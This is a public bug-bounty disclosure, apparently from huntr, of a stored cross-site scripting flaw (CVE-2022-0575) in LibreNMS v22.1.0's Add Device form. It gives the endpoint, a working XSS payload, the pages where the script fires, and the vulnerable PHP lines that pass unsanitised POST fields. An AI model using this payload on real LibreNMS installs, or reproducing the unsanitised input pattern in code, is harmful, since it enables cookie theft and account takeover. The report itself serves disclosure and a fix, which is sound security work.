# Cross-site Scripting (XSS) - Stored in librenms/librenms

0

Valid Reported on Feb 12th 2022

## Description

Cross-Site Scripting vulnerability in LibreNMS v22.1.0 which allows attackers to execute arbitrary javascript code in the browser of a victim which affected Devices module (Add Device) in sysName, Hardware and Community fields.

## Proof of Concept

Endpoint:
1 POST http://{HOST}/addhost
~
Payload:

```
'><details/open/ontoggle=confirm("sysName")>
```

~
XSS will fire-up by user visiting:
1 http://{HOST}/device-dependencies - sysName, Community
2 http://{HOST}/eventlog - hardware
3 http://{HOST}/services - sysName
~
PoC images:
1 payload sysName
2 XSS-sysName field
3 XSS-hardware
4 payload Community
5 XSS-cookie

## Impact

This vulnerability is capable of running malicious javascript code on web pages, stealing a user's cookie and gain unauthorized access to that user's account through th



## Occurrences

addhost.inc.php L50

```
$additional = [];
if (! $snmp_enabled) {
    $snmpver = 'v2c';
    $additional = [
        'snmp_disable' => 1,
        'os'           => $_POST['os'] ? $_POST['os_id'] : 'pi
        'hardware'     => $_POST['hardware'],   # XSS-affected
        'sysName'      => $_POST['sysName'],    # XSS-affected
    ];
```

CVE
CVE-2022-0575
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Stored

Severity
Medium (5.4)

Visibility
Public

Status
Fixed

Found by

Faisal Fs ⚔️
@faisalfs10x
unranked

Fixed by

PipoCanaja
@pipocanaja

Chat with us

@PipoCanaja

maintainer

This report was seen 376 times.

We are processing your report and will contact the **librenms** team within 24 hours. 9 months ago

Faisal Fs ⚔️ modified the report 9 months ago

Faisal Fs ⚔️ modified the report 9 months ago

Faisal Fs ⚔️ modified the report 9 months ago

PipoCanaja validated this vulnerability 9 months ago

Faisal Fs ⚔️ has been awarded the disclosure bounty ✅

The fix bounty is now up for grabs

PipoCanaja marked this as fixed in 22.2.0 with commit 4f8691 9 months ago

PipoCanaja has been awarded the fix bounty ✅

This vulnerability will not receive a CVE ❌

addhost.inc.php#L50 has been validated ✅

Sign in to join this conversation